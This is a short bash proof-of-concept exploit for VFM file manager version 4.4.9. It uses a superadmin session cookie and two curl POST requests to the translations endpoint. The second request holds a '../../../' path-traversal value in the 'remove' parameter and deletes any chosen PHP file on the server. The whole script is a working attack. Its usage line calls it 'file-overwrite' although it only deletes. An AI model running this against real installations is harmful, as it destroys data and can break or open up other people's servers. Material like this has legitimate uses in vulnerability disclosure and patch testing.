#!/usr/bin/env bash

##########################################################
########### SUPERADMIN ARBITRARY FILE DELETION ###########
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an attacker delete any php file on
# on the system.

# - Parameter $1 is vfm session cookie name
# - Parameter $2 is vfm session cookie value
# - Parameter $3 is the path to the file to delete (from
#   application root)
# - Parameter $4 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]] || [[ -z "$4" ]]; then
  echo "[ USAGE ] :: ./auth-superadmin-arbitrary-file-overwrite.sh <vfm cookie name> <vfm cookie value> </path/to/target without extension> <url to root of vfm installation>/"
  exit 1
fi

echo "[ STEP :: 01 ] :: Force creation of vfm-admin/_content/translations directory"
curl -X POST \
  -b "$1=$2" \
  -d "thenewlang=ca" \
  "$4/vfm-admin/index.php?section=translations&action=update" &>/dev/null
echo "[ STEP :: 01 ] :: DONE"

echo "[ STEP :: 02 ] :: Delete the file"
curl -X POST \
  -b "$1=$2" \
  "$4/vfm-admin/index.php?section=translations&action=update&remove=../../../$3" &>/dev/null
echo "[ STEP :: 02 ] :: DONE"

echo "Deleted file at :: $4/$3.php"